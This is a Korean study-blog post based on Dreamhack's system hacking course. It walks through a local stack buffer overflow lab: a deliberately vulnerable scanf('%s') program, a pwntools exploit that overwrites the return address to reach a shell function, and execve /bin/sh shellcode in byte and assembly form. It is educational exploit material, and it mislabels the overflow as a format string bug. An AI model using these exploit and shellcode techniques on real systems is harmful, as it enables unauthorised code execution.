scanf 함수의 포맷 스트링 중 하나인 %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며,

공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다.

 

이러한 특징으로 인해, 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다.

 

따라서 scanf에 %s포맷 스트링은 절대로 사용하지 말아야 하며, 정확히 n개의 문자만 입력받는 %[n]s의 형태로 사용해야 한다.

위험한 함수 안전한 함수
scanf, strcpystrcatsprintf strncpystrncatsnprintffgetsmemcpy

 

 

 

아래는 포멧 스트링 취약점이 존재하는 코드다.

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

 

컴파일한 후, 해당 파일을 실행한다.

"A"를 64개 입력하면 세그멘테이션 오류(잘못된 메모리 주소에 접근함) 에러가 출력된다.

(코어 덤프됨)은코어파일(core)을 생성했다는 것으로, 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것이다.

 

 

gdb를 사용해서 코어 파일을 분석해보자.

 

main 함수에서 반환하려고 할때, 스택 최상단에 저장된 값이 0x4141414141414141('AAAAAAAA') 라는 것을 알 수 있다.

이는 실행가능한 메모리의 주소가 아니므로 세그멘테이션 오류가 발생한 것이다.

만약 원하는 코드 주소가 되도록 입력을 넣으면, main 함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있다.

 

 

gdb로 rao 파일을 분석해보자.

scanf()에 인자를 전달하는 부분을 보면, 오버플로우를 발생시킬 버퍼가 rbp-0x30에 위치하는 것을 알 수 있다.

scanf( "%s" , (rbp- 0x30 ))

 

 

스택 프레임의 구조는 다음과 같다.

rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장된다.


입력할 버퍼와 반환 주소 사이에 0x38 만큼의 거리가 있으므로, 그 만큼을 쓰레기 값(dummy data)으로 채우고,

실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.

 

 

 

gdb로 get_shell() 함수의 주소를 확인한다.  → 0x4011dd 

 

그러면 다음과 같은 페이로드(공격을 위해 프로그램에 전달하는 데이터)를 구성할 수 있다.

페이로드와 페이로드로 오염되는 스택 프레임

 

 

 

익스플로잇을 작성할 때는 대상 시스템의 엔디언을 고려해야 한다. 

리틀 엔디언을 사용하는 인텔 x86-64아키텍처를 사용하고 있으므로 get_shell()의 주소 0x4011dd

\xdd\x11\x40\x00\x00\x00\x00\x00로 전달해야 한다.

 

 

파이썬으로 exploit 코드를 작성하고

from pwn import *

p = process('./rao')

payload = b"A"*0x30                               #buf
payload += b"B"*0x8                               #SFP
payload += b"\xdd\x11\x40\x00\x00\x00\x00\x00"    #return address

p.recvuntil('Input: ')

p.sendline(payload)
p.interactive()

 

 

exploit 파일을 실행시키면, 쉘을 얻게 된다.

 

 

 

 

 

참고 - 드림핵 ( System Hacking) https://dreamhack.io/lecture/roadmaps/all/system-hacking

 

목록 | 로드맵 | Dreamhack

Memory Corruption: Stack Buffer Overflow 9.7★ (234) Free

dreamhack.io

 

시작하기 앞서, 용어 정리를 하고 가자.

바이너리 코드 (Binary code) 0과 1로 표현된 모든 데이터의 기본 형태
기계어 (Machine language) CPU가 직접 실행하는 바이너리 명령어
바이트 코드 (Byte code) 가상 머신에서 실행하기 위해 중간 코드로 변환된 코드
어셈블리어 (Assembly Language) 사람이 이해할 수 있는 기계어의 문자화된 표현

 

 

다음은 execve 시스템 호출을 통해 /bin/sh 쉘을 실행하는 어셈블리 코드다.

section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

shellcode.asm

 

 

nasm은 어셈블리어 코드를 작성하고 컴파일하는 어셈블러다.

nasm  어셈블러를 사용하여 shellcode.asm 파일을 컴파일하고, ELF 형식의 목적 파일(shellcode.o)을 생성한다.

 

 

objdump로 shellcode.o 목적 파일의 내용을 디스어셈블리하여 어셈블리어 코드로 출력한다.

바이너리 코드로 되어 있는 목적 파일을 사람이 읽을 수 있는 어셈블리어로 변환하여 보여준다.

 

 

 objcopy를 사용해서 바이너리 파일(shellcode.bin)을 만들고, 그 파일을 16진수로 확인한다.

 

 

위 xxd 출력 결과(16진수)에서 바이트 값들을 추출해서 다음과 같이 바이트 코드 형태의 쉘 코드를 만든다.

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

 

 

 

 

 

참고 - 드림핵( System Hacking )

 

System Hacking

시스템 해킹을 공부하기 위한 로드맵입니다.

dreamhack.io

 

 

셸(Shell)은 운영체제에 명령을 내리기 위한 사용자 인터페이스로, 운영체제의 핵심 기능을 담당하는 커널(Kernel)과 대비된다. 셸을 획득하면 시스템을 제어할 수 있어, 해킹에서 셸 획득은 성공을 의미한다.

 

execve 셸코드는 임의의 프로그램을 실행할 수 있는 셸코드로, 이를 통해 서버의 셸을 획득할 수 있다. 보통 셸코드라고 하면 이 execve 셸코드를 가리킨다.

 

리눅스에서 기본 셸로는 sh, bash가 많이 사용되며, 사용자가 zsh, tsh 등의 다른 셸도 설치할 수 있다.

 

 

 

어셈블리 코드

execve 셸코드의 syscall은 다음과 같다. 

syscall  rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp

 

여기서 argv는 실행파일에 넘겨줄 인자이고, envp는 환경변수다.

리눅스에서 기본 실행 프로그램들은 /bin 디렉토리에 저장되어 있으며, 여기서 실행해야 할 sh도 해당 디렉토리에 저자오디어 있다.

따라서  execve("/bin/sh", null, null) 을 실행하는 것을 목표로 쉘 코드를 작성한다.

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

 

한줄씩 살펴보면

mov rax, 0x68732f6e69622f
push rax

rax 레지스터에 0x68732f6e69622f 값을 이동(저장)한다. ASCII 문자열 /bin/sh에 해당하는 값이다.

rax 레지스터에 저장된 값을 스택에 push한다. 스택에 문자열 /bin/sh이 저장된다.

 

mov rdi, rsp

rdi 레지스터에 현재 스택 포인터(rsp) 값을 저장한다. 이로써 rdi는 "/bin/sh" 문자열을 가리키게 된다.

이는 execve 시스템 호출에서 실행할 프로그램의 경로를 나타낸다.

 

xor rsi, rsi
xor rdx, rdx

xor 연산을 통해 rsirdx가 0으로 초기화되며, 0은 포인터로 사용되면 NULL을 나타낸다.

 

mov rax, 0x3b
syscall

 

rax 레지스터에 0x3b를 저장한다.이는 execve 시스템호출의 번호이다.

syscall 명령어로 rax에 저장된 시스템 호출 번호(0x3b, 즉 execve)와, 앞서 설정된 rdi(파일 경로), rsi(인자), rdx(환경 변수) 값을 사용하여 /bin/sh 셸을 실행하게 된다.

 

 

 

컴파일 및 실행

위 어셈블리 코드를 컴파일하기 위해, 스켈레톤 코드안에 쉘코드를 채운 파일을 만든다.

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

 

위 파일을 컴파일하고 실행한다. sh가 성공적으로 실행된 것을 확인할 수 있다.

 

 

 

 

디버깅

run_sh에 브레이크 포인트를 걸고 실행한 결과다.

 

 

다음은 execve 시스템 호출(run_sh+27)에 브레이크 포인트를 걸고 실행했다.

경로, 인자, 환경변수가 설정된 것을 확인할 수 있다.

 

 

ni(next instruction)명령어를 사용해서 다음 코드인 syscall을 실행하면 sh이 실행된다.

 

 

 

참고 - 드림핵( System Hacking )

+ Recent posts